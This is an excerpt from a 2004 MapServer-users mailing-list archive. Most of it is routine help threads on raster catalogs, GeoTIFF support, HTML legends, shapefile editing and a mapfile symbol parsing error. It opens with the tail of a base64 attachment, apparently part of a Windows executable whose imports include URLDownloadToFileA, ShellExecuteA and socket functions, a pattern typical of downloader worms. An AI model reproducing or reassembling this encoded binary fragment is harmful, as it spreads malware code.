//////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABPwm0HNFZ9IqxuC1t1FwqwZ8QGCj2K WUEJXzamDsezlW0iUQiMikipd3YswHZSdB2lJ0EYgEs2S3MDWQbCjapwx8c/SRAOgcQZimoW v8FUHX6rVgBrtUJlsVQ2dh8ZSrkfP0w9bnhzNWY5TTs1JTLEjnRWUIIko316xyR7xFAgJhRq UHKdcWwuphtIUZtGAU+QL34LFJG7BaJ2RlU9dTknHXZ3k2FCHg2QvrsqCoAzCWymj40oAzAw Gsc/IqhZnwQ+W8GvxC0dAoR1gzAIfJWDMEyLgWIVwKceoJAqaVWJTiQqDUoeZHUcpG2DrQmM vibDHT2tMnC0QrReaRKWcr1wphYtFqclkKSKgHhdKJqzZsI9DlZMRr8/kTg7oFKRjlIxlqig qZsMQ8BvoFyOdTepYElNrQ== ----------nsmyibcvvfqooxmtbwgg-- From mapserver at geochem.de Tue May 25 07:14:02 2004 From: mapserver at geochem.de (mapserver at geochem.de) Date: Tue, 25 May 2004 16:14:02 +0200 Subject: [Mapserver-users] =?iso-8859-1?Q?Re:_Re:_[Mapserver-users]_raster_catalogs_with_4=2E2b3?= Message-ID: <27589417$108549409340b3534d206696.27384582@config11.schlund.de> Hi Steve, hi list, i had a build problem. After i recompiled mapserver with '--without-tiff' as Norbert suggested the catalog appears correct. Could you please describe the new way of creating tile indexes a little bit more detailed? Many thanks Nicol Steve Lime schrieb am 25.05.2004, 15:19:24: > Although there was new functionality added to 4.2to allow for a new way > of creating tile indexes in a map file the old method is also completely > supported. Can you confirm that you don't have a build problem as > detailed in another response to your message? Can others verify a > problem? I've not had problems with raster tile setups that I use. > > Steve > > >>> 05/24/04 3:56 AM >>> > > Hi List, > > i did some tests with php mapscript 4.2b3 and found that my raster > catalogs did not work with this mapserver version. > The script which works fine with PHP Mapscript 4.0.2. termined with an > internal server error (Premature end of script headers) when i use > 4.2b3. > The type of the Layer is set to MS_LAYER_RASTER. Do i have to use > MS_LAYER_TILEINDEX now (how?) or what do i have to change to use raster > catalogs with 4.2b3? > > Many thanks Nicol > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From sebastien.dubois at esm2.imt-mrs.fr Tue May 25 07:18:11 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Tue, 25 May 2004 16:18:11 +0200 Subject: [Mapserver-users] Trans.: Gdal, geo tiff raster and mapserver Message-ID: <1085494691.40b355a3724fb@webmail.esm2.imt-mrs.fr> I could read posts of Paco Regodon which show me that i wasn't alone with this problem of raster tiff not supported. (see the post below) if you've got some minutes to help me please see: http://www.esm2.imt-mrs.fr/~sdubois/sig/sig.html In this page i've sum up my install parameters and main problem about displaying geotiff. Have you found or have someone else an answer? I download tiff2png but without success the output is: [root at sx-dubois data]# /tiff2png 26-20k/gr_20k_montelimar_v1.tif 26-20k/gr_20k_montelimar_v1.tif: Warning, unknown field with tag 33550 (0x830e) ignored. 26-20k/gr_20k_montelimar_v1.tif: Warning, unknown field with tag 33922 (0x8482) ignored. Thanks in advance POST: On Monday 03 May 2004 15:09, Frank Warmerdam wrote: > Paco Regodon wrote: > > > > Is there any way i can force using GDAL to read tiff images? I can't > > compile my own version. Is there any mapfile directive similar to > > OUTPUTFORMAT to force using GDAL instead of builtin support? > > You could "trick" MapServer into using GDAL by setting a different > projection on the raster layer ... say with a false easting or northing > that differs by a 10th of a meter or something. Also, forcing 24bit output > will trip things over to using GDAL. Hello Frank, no luck. :-( I have tryed changing utm "zone=29" on the map and "zone=30" on the layer without success. Also, i changed IMAGETYPE from PNG to PNG24, and i have discovered that transparency information is being lost, as i am getting now an ugly green background. Also there is an speed penalty because of the extra reprojection time. I have tryed renaming ".tif" to ".png", but it didn't work. He. I allways get an Internal Server Error if i try to use tiff raster layers. I am now using tiff2png to batch-convert all my tiffs to PNG, and it works perfectly. ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From noti at ciaoweb.it Tue May 25 08:24:43 2004 From: noti at ciaoweb.it (Valerio Noti) Date: Tue, 25 May 2004 17:24:43 +0200 Subject: [Mapserver-users] Problem with html legend Message-ID: <002501c4426c$78bd2760$0301a8c0@valerion> Hi all, I have a mapfile with grouped layers (Name set to "" and group with a certain name). I'm trying to set an html legend in order to display color classes only for visible groups(= groups checked). This is the mapfile: LAYER NAME "" GROUP "Geology" .... END LAYER NAME "" GROUP "Geology" ... END LAYER NAME "" GROUP "Hydrography" ... END LAYER NAME "" GROUP "Hydrography" ... END In other words, when group "Geology" is checked, color classes have to display in legend. The same thing for Hydrography. The parameter "layer_status" seems to work only if layer name is not empty and I tried with various opt_flags but without success. Any help appreciated Thanks Valerio From TMitchell at lignum.com Tue May 25 09:33:09 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 25 May 2004 09:33:09 -0700 Subject: [Mapserver-users] analysis - editing ?? In-Reply-To: <7c180e0cfc47347f015a442c6f5e2074@217.31.112.66> Message-ID: Roberto, for a desktop application I'd recommend OpenEV. It can edit and create shapefiles among many other great things. It's built in Python. http://openev.sourceforge.net/ - I'd suggest getting the "OpenEV_FW" version rather than the stock "OpenEV" version as it includes many more valuable tools and format support. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/24/2004 12:58:09 AM: > hi list, > It's not long since I started working with GIS applications and I would like > to know if there's a way to edit the shape files (i.e. create a point, a > line or even a polygon) without using ESRI products. > I use MapServer 4.01, PHP-MapScript and a PHP graphic tool (P.Mapper). > I'd also like to know if a deeper geographical analysis is possible. And how > can I do it. > Sorry for my english. :-p > Thanks. > > Roberto > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mike.merrett at city.whitehorse.yk.ca Tue May 25 09:56:54 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Tue, 25 May 2004 09:56:54 -0700 Subject: [Mapserver-users] (no subject) Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEECD@DUKE.city.whitehorse.yk.ca> Hi: Can anyone explain the following? the Error log file gives the following lines: Tue May 25 09:50:17 2004 - getSymbol(): Symbol definition error. Parsing error near (KODIAK PLACE):(line 1363) Tue May 25 09:50:17 2004 - getSymbol(): Symbol definition error. Parsing error near (449):(line 1363) Ogrinfo gives the following output snippet: OGRFeature(CAD_text):7846 DXF_ (Integer) = 7846 DXF_ID (Integer) = 7846 X (Real) = 494272.209545523 Y (Real) = 6729098.07961854 OFFSETX (Real) = 0 OFFSETY (Real) = 0 HEIGHT (Real) = 6 SYMBOL (Integer) = 4 LEVEL (Integer) = 5 TEXT (String) = KODIAK PLACE e00_anno_id (Integer) = 7846 e00_text_level (Integer) = 5 e00_anno_name (String) = DXF Style = LABEL(t:"KODIAK PLACE",a:0.000000,s:4.799023g,c:#000000,p:1,f:"") POINT (494272.206 6729098.082) the layer definition in the map file is LAYER NAME "Cadastre Text" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\CAD_text.tab" CONNECTIONTYPE OGR METADATA DESCRIPTION "Cadastre Text" END STATUS ON TYPE annotation minscale 100 MAXSCALE 5000 STYLEITEM "AUTO" LABELITEM "TEXT" CLASS debug true NAME "Cadastre Text" LABEL position auto PARTIALS true angle auto END # end of label END END # layer I have tried every combination of symbol file -- blank - one known good entry -- there are no symbols in the map file -- what symbol is it looking for? From JWiley at city.parksville.bc.ca Tue May 25 10:13:39 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Tue, 25 May 2004 10:13:39 -0700 Subject: [Mapserver-users] how to install on our home page Message-ID: This is a MIME message. If you are reading this text, you may want to consider changing to a mail reader or gateway that understands how to properly handle MIME multipart messages. --=_3312CDD6.44254D43 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Thanks to Tyler and others we are ready to post the new mapserver on our city home page. What steps are required to launch our application for use by the public? If someone could point me in the right direction... I have mapserver running on my computer as "localhost" and have another computer with everything installed for use with our home page...Thank you. John Wiley, C.Tech. GIS Technician City of Parksville, BC Canada --=_3312CDD6.44254D43 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Description: HTML
Thanks to Tyler and others we are ready to post the new mapserver on our city home page.  What steps are required to launch our application for use by the public?  If someone could point me in the right direction... I have mapserver running on my computer as "localhost" and have another computer with everything installed for use with our home page...Thank you.
 
John Wiley, C.Tech.
GIS Technician
City of Parksville, BC
Canada
--=_3312CDD6.44254D43-- From mike.merrett at city.whitehorse.yk.ca Tue May 25 10:21:46 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Tue, 25 May 2004 10:21:46 -0700 Subject: [Mapserver-users] (no subject) Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEECE@DUKE.city.whitehorse.yk.ca> Hi: Here is the map file. I am not sure if it worked before I upgraded to 4.2b3 (as I didnt find the errorlog until after the upgrade) If I had to guess I would say that it is looking at the lable information and trying to decode a symbol out of it but all my lable texts are either random numbers or some text (i.e. lot numbers and street names) I didnt know about a GIS Users Group in Prince George - where can I find details? I am going to the Mapserver Usergroup in Ottawa though - will you be there? MAP debug true NAME Whitehorse STATUS ON SIZE 500 400 # SYMBOLSET "e:\\VariousData\\Devel\\map_test\\etc\\symbols.sym" extent 485108.508198 6714194.605109 506888.578325 6745540.034837 UNITS METERS SHAPEPATH "e:\\VariousData\\Devel\\map_test\\data" FONTSET "e:\\VariousData\\Devel\\map_test\\etc\\fonts.txt" IMAGECOLOR 255 255 255 IMAGETYPE png24 PROJECTION ## <32608> "proj=utm" #"init=epsg:32608" "ZONE=8" "ellps=WGS84" "datum=WGS84" "units=m" "north" "no_defs" END # # Start of web interface definition # WEB #MINSCALE 2000000 minscale 5 MAXSCALE 60000000 IMAGEPATH "e:\\VariousData\\Devel\\map_test\\tmp\\" IMAGEURL "/map_test/tmp/" log 'gmap.log' METADATA "title" "Whitehorse, YT (General)" "author" "Mike Merrett" END END # # Start of reference map # REFERENCE IMAGE images/City_of_Whitehorse_key.png extent 485108.508198 6714194.605109 506888.578325 6745540.034837 STATUS ON COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 SIZE 120 90 END # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM # COLOR 0 0 89 END STATUS ON #template "legend.html" END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE SMALL END SIZE 400 5 COLOR 255 255 255 BACKGROUNDCOLOR 0 0 0 OUTLINECOLOR 0 0 0 UNITS kilometers INTERVALS 5 STATUS ON END QUERYMAP STYLE HILITE #selected COLOR 255 0 0 # status on END OUTPUTFORMAT NAME png24 DRIVER "GD/PNG" MIMETYPE "image/png" IMAGEMODE rgba EXTENSION "png" END LAYER NAME "Cadastre Text" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\CAD_text.tab" CONNECTIONTYPE OGR METADATA DESCRIPTION "Cadastre Text" END STATUS ON TYPE annotation minscale 100 MAXSCALE 5000 STYLEITEM "AUTO" LABELITEM "TEXT" CLASS debug true NAME "Cadastre Text" LABEL position auto PARTIALS true angle auto END # end of label END END # layer END -----Original Message----- From: Tyler Mitchell [mailto:TMitchell at lignum.com] Sent: May 25, 2004 10:12 AM To: Merrett, Mike Subject: Re: [Mapserver-users] (no subject) Looks like your symbol definition is wrong. Can you provide the full map file (I know it's looong) so we can see how your symbols are defined and what symbol is being used here. Do you think this is a problem with the auto styling? The symbol being used for that layer appears to be goofy. This may also be related to the version of mapserver you are using. Did this work before an upgrade? p.s. are you coming down to the Northern BC GIS Users Group in Prince George? If so, I'd love to meet, I'm doing a workshop on MapServer! mapserver-users-admin at lists.gis.umn.edu wrote on 05/25/2004 09:56:54 AM: > > Hi: > > Can anyone explain the following? > > the Error log file gives the following lines: > Tue May 25 09:50:17 2004 - getSymbol(): Symbol definition error. > Parsing error near (KODIAK PLACE):(line 1363) > Tue May 25 09:50:17 2004 - getSymbol(): Symbol definition error. > Parsing error near (449):(line 1363) > > > > Ogrinfo gives the following output snippet: > > OGRFeature(CAD_text):7846 > DXF_ (Integer) = 7846 > DXF_ID (Integer) = 7846 > X (Real) = 494272.209545523 > Y (Real) = 6729098.07961854 > OFFSETX (Real) = 0 > OFFSETY (Real) = 0 > HEIGHT (Real) = 6 > SYMBOL (Integer) = 4 > LEVEL (Integer) = 5 > TEXT (String) = KODIAK PLACE > e00_anno_id (Integer) = 7846 > e00_text_level (Integer) = 5 > e00_anno_name (String) = DXF > Style = LABEL(t:"KODIAK PLACE",a:0.000000,s:4.799023g,c:#000000,p:1,f:"") > POINT (494272.206 6729098.082) > > the layer definition in the map file is > LAYER > NAME "Cadastre Text" > CONNECTION > "e:\GIS_Claims\gisdata\MapInfo\Cadastre\CAD_text.tab" > CONNECTIONTYPE OGR > METADATA > DESCRIPTION "Cadastre Text" > END > STATUS ON > TYPE annotation > minscale 100 > MAXSCALE 5000 > STYLEITEM "AUTO" > LABELITEM "TEXT" > CLASS > debug true > NAME "Cadastre Text" > LABEL > position auto > PARTIALS true > angle auto > END # end of label > END > END # layer > > > I have tried every combination of symbol file -- blank - one known good > entry -- there are no symbols in the map file -- > what symbol is it looking for? > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From brian at entropy.net Tue May 25 10:50:41 2004 From: brian at entropy.net (Brian Russo) Date: Tue, 25 May 2004 13:50:41 -0400 Subject: [Mapserver-users] mapserver for phones / wireless Message-ID: <20040525175041.GU30798@badfish.securityminded.net> Anyone here used mapserver or otherwise done anything with maps on phones/pdas before? I know I asked this a while ago, but never got any response, trying again. cheers, - bri -- Recursivity. Call back if it happens again. From TMitchell at lignum.com Tue May 25 11:38:03 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 25 May 2004 11:38:03 -0700 Subject: [Mapserver-users] (no subject) In-Reply-To: <3CB96EAEFD928B49AF8978BA92BB65A41DEECE@DUKE.city.whitehorse.yk.ca> Message-ID: > Here is the map file. I am not sure if it worked before I upgraded > to 4.2b3 (as I didnt find the errorlog until after the upgrade) > If I had to guess I would say that it is looking at the lable information > and trying to decode a symbol out of it but all my lable texts are either > random numbers or some text (i.e. lot numbers and street names) Looks bizarre to me - certainly not self-evident enough for me to help with. What I find strange is that your error references line 1363 I assumed this was referring to a line in your map file. But your map file is <200 lines long. Furthermore you are not explicitly setting a SYMBOL for that 